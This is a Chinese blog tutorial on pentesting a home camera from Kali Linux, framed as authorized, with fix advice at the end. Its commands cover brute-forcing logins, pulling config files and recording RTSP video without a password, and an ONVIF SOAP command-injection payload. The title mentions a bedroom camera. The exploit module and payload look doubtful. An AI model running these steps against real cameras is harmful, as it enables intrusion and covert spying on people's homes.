当前位置: 首页 > news >正文

Kali Linux 中对某(靶机)监控设备进行漏洞验证的完整流程(卧室监控学习)

在已获得合法授权(需留存书面授权文件,明确测试范围和目的)的前提下,以下是在 Kali Linux 中对监控设备进行漏洞验证的完整流程,核心目标是通过技术手段确认已知漏洞的存在性,为后续修复提供依据(仅用于安全学习和防御测试)。

前期准备

  1. 环境确认
    • 目标设备:监控摄像头(已知型号如 JA-C10E、JA-Q1H 等,需提前记录设备局域网 IP,假设为 192.168.1.100)。
    • 网络条件:Kali Linux 与目标设备在同一局域网(或已获得远程访问权限),确保网络连通性(可通过 ping 192.168.1.100 验证)。
    • 工具清单:nmap(端口扫描)、hydra(暴力破解)、curl(HTTP 请求)、vlc/ffmpeg(RTSP 流测试)、tcpdump+wireshark(流量分析)、metasploit(漏洞利用框架)、浏览器(用于 Web 界面测试)。

流程一:信息收集与端口探测

首先通过端口扫描确认设备开放的服务和端口,为漏洞验证提供方向。

  1. 全端口扫描:在 Kali 终端执行以下命令,探测目标设备开放的端口及对应服务:

    bash

    nmap -sV -p 1-65535 192.168.1.100  # -sV:探测服务版本;-p 1-65535:扫描所有端口
    

    预期结果(设备常见开放端口):

    • HTTP 端口(80、8080 等,用于 Web 管理界面)。
    • RTSP 端口(554,用于视频流传输)。
    • 可能开放的 Telnet(23)或 SSH(22,部分型号支持远程管理)。
  2. 重点服务识别:记录扫描结果中与监控设备相关的服务,例如:

    • 80/tcp open http GoAhead-WebServer(部分设备使用 GoAhead Web 服务器)。
    • 554/tcp open rtsp RTSP server(RTSP 视频流服务)。

流程二:弱口令漏洞验证

部分型号存在默认凭证(admin/admin)或弱口令风险,需验证是否可通过默认 / 弱密码登录设备。

1. 默认凭证直接测试
  • Web 管理界面:打开浏览器,访问 http://192.168.1.100(或对应 HTTP 端口),在登录页面输入默认用户名 admin 和密码 admin,若成功登录,说明弱口令漏洞存在。

  • RTSP 服务:使用 ffmpeg 尝试用默认凭证访问视频流:

    bash

    ffmpeg -i rtsp://admin:admin@192.168.1.100:554/live/ch00_1 -vcodec copy test_stream.mp4
    

    若命令执行后生成视频文件(无报错),说明 RTSP 服务接受默认凭证。

2. 暴力破解测试(针对非默认弱口令)

若默认凭证失效,使用 hydra 对 Web 登录界面进行弱口令爆破(需先通过浏览器抓包确认登录请求参数):

  1. 抓包分析登录请求:打开浏览器开发者工具(F12)→“网络” 选项卡,在监控 Web 登录页面输入任意账号密码并提交,找到登录请求(通常为 POST 方法),记录:

    • 请求 URL(如 /login.cgi)。
    • 表单参数(如 username=xxx&password=xxx)。
    • 登录失败的响应特征(如页面返回 “密码错误” 或特定状态码)。
  2. 执行爆破命令

    bash

    hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form \
    "/login.cgi:username=^USER^&password=^PASS^:密码错误"
    
    • 参数说明:-l admin 为目标用户名,-P 指定弱口令字典(Kali 自带 rockyou.txt),http-post-form 表示 POST 表单爆破,“/login.cgi:参数:失败特征” 为登录请求格式。
    • 若爆破成功,终端会显示有效的账号密码(如 [80][http-post-form] host: 192.168.1.100 login: admin password: 123456)。

流程三:未授权访问漏洞验证

部分设备存在无需认证即可访问配置文件或 RTSP 流的漏洞,需逐一验证。

1. 未授权访问敏感配置文件

使用 curl 直接请求设备可能存在的配置文件路径(基于公开漏洞信息):

bash

# 尝试访问系统配置文件
curl http://192.168.1.100/system.ini
curl http://192.168.1.100/config.dat
curl http://192.168.1.100/user.ini  # 用户配置文件(可能包含账号信息)
  • 若返回包含设备型号、网络配置、用户列表等内容的文本(如 [User] admin=admin),说明存在未授权文件访问漏洞。
2. 未授权访问 RTSP 视频流

无需账号密码直接尝试获取实时视频流:

  1. 使用 vlc 播放

    bash

    vlc rtsp://192.168.1.100:554/live/ch00_1  # 主码流路径(常见格式)
    vlc rtsp://192.168.1.100:554/onvif1       # ONVIF协议流路径
    

    若 vlc 能直接播放实时画面(无需输入账号密码),说明 RTSP 未授权访问漏洞存在。

  2. 使用 ffmpeg 录制

    bash

    ffmpeg -i rtsp://192.168.1.100:554/live/ch00_1 -t 10 unauthorized_test.mp4
    

    若生成 10 秒的视频文件,进一步验证漏洞可利用性。

流程四:RTSP 协议漏洞验证

RTSP 协议漏洞主要表现为凭证滥用和流量敏感信息泄露,需结合工具验证。

1. 凭证滥用测试(已知账号密码时)

若已通过弱口令获取账号密码,验证是否可通过 RTSP 协议直接控制或获取视频流:

bash

# 用已知凭证录制高清/标清码流
ffmpeg -i rtsp://admin:password@192.168.1.100:554/live/ch00_1 -vcodec copy hd_stream.mp4  # 高清
ffmpeg -i rtsp://admin:password@192.168.1.100:554/live/ch00_2 -vcodec copy sd_stream.mp4  # 标清

若能成功录制,说明 RTSP 协议可被凭证滥用获取视频。

2. RTSP 流量嗅探与敏感信息分析

在授权范围内抓取 RTSP 通信流量,检查是否泄露敏感信息:

  1. 抓取流量

    bash

    tcpdump -i eth0 port 554 -w rtsp_traffic.pcap  # eth0为Kali的网卡,抓取554端口(RTSP)流量
    
  2. 触发 RTSP 通信:同时用 vlc 播放 RTSP 流(无论是否授权,只要有通信即可),持续 1-2 分钟后按 Ctrl+C 停止抓包。

  3. 分析流量:用 wireshark 打开抓包文件,筛选 rtsp 协议,查看数据包中是否包含明文账号密码、设备 UUID、网络配置等敏感信息:

    bash

    wireshark rtsp_traffic.pcap
    

流程五:命令执行漏洞(CVE-2018-20051)验证(针对 JA-Q1H 型号)

该漏洞仅影响 JA-Q1H 型号固件版本≤21.0.0.91,需先确认设备型号和固件版本,再进行验证。

1. 确认设备型号与固件版本
  • 方法 1:通过未授权访问的配置文件(如 system.ini)查找,例如:

    bash

    curl http://192.168.1.100/system.ini | grep -E "Model|Firmware"
    

    若返回 Model=JA-Q1H 且 FirmwareVersion=21.0.0.91 或更低,说明可能受影响。

  • 方法 2:通过 Web 管理界面的 “系统信息” 页面查看(需登录,可使用弱口令登录后查找)。

2. 使用 Metasploit 验证
  1. 启动 Metasploit 框架

    bash

    msfconsole
    
  2. 搜索漏洞模块

    bash

    search CVE-2018-20051
    

    若存在对应模块(如 exploit/linux/http/joan_q1h_rce),加载模块并配置参数:

    bash

    use exploit/linux/http/joan_q1h_rce
    set RHOSTS 192.168.1.100  # 目标IP
    set RPORT 80              # Web端口(根据nmap扫描结果修改)
    set LHOST <Kali的IP>      # 本地监听IP(用于反弹shell,可选)
    
  3. 执行漏洞测试

    bash

    run  # 若漏洞存在,会返回命令执行结果(如系统版本、用户ID等)
    
3. 手动验证(无模块时)

构造包含命令注入的 ONVIF 协议 SOAP 请求(需符合 ONVIF 协议格式),通过 curl 发送:

bash

curl -X POST http://192.168.1.100/onvif/device_service \
-H "Content-Type: application/soap+xml; charset=utf-8" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"><Manufacturer>;id;</Manufacturer>  <!-- 注入命令“id” --></GetDeviceInformation></s:Body>
</s:Envelope>'

若返回包含 uid=0(root) 的响应(说明命令 id 被执行),则漏洞验证成功。

流程六:测试后处理与修复建议

  1. 清理测试痕迹:删除测试过程中生成的视频文件(test.mp4 等)、抓包数据(rtsp_traffic.pcap)及爆破日志,避免留存敏感信息。

  2. 漏洞修复建议

    • 弱口令:立即将默认密码修改为强密码(含大小写字母、数字、特殊字符,长度≥12 位)。
    • 未授权访问:登录 Web 管理界面,在 “用户管理” 中启用严格认证,关闭匿名访问权限;在 “网络设置” 中限制 RTSP 流仅允许授权 IP 访问。
    • RTSP 协议:禁用明文传输,若设备支持,开启 RTSP 加密(如 SSL/TLS);定期检查流量日志,阻断异常访问。
    • 命令执行漏洞(CVE-2018-20051):升级固件至最新版本(JA-Q1H 需≥21.0.0.92),关闭 Telnet 等非必要服务,在路由器中禁用设备的公网访问。

核心原则

所有操作必须严格限制在授权范围内,测试目的是发现漏洞并协助修复,而非利用漏洞进行攻击。完成后需向设备所有者提交详细的漏洞报告,包括验证过程、风险等级及修复方案,确保设备安全性提升。

http://www.dtcms.com/a/617689.html

相关文章:

  • 将LabelMe工具目标检测标注生成的json文件转换成COCO json格式
  • 什么是求解器?
  • 课后作业-2025年11月16号作业
  • C#面试题及详细答案120道(116-120)-- 综合应用
  • 【报错解决】宝塔nginx404
  • 生信数据分析流程自动化:Snakemake实战全攻略
  • 网站建设什么专业重庆品牌餐饮加盟网站建设
  • 数据库 搭建 网站泉州手机网站建设价格
  • 小米电脑管家 V5.2.0.207 新版分享,镜像链接更稳定,AI自动亮度上线,分布式文件开放使用
  • 深入理解 Vue 3 中的计算属性与侦听器:联系、区别及与函数的对比
  • 2.FPGA板卡通过电脑映射连接上网
  • RTCP包之SR和RR
  • 40 token
  • 如何在 Celestia 区块链上构建验证者节点的详细手册
  • Linux权限知识点
  • MySQL: 数据库读写分离与负载均衡的实现方式及深度分析
  • 红帽企业Linux:企业级开源操作系统领航者
  • 怎么做网站开发建一个电商平台多少钱
  • 人工智能技术- 语音语言- 05 GPT-4o 自然人机对话
  • HarmonyOS实用指南:harmonyos + 华为
  • 什么是Spring Boot 应用开发?
  • uniapp实现android/IOS消息推送
  • 汽车网站开发流程html5 网站开发软件
  • HarmonyOS:harmonyos从入门到落地
  • OpenCV(二十九):高通滤波-索贝尔算子
  • 幽冥大陆(二十一)go语言智慧农业电子秤读取——东方仙盟炼气期
  • 北京网站建设需要花多少钱视觉冲击力的网站设计
  • 开发板上搭建nextcloud和minio服务
  • Dubbo监控中心全解析:构建微服务可观测性的基石
  • Rust 内存优化实战指南:从字节对齐到零拷贝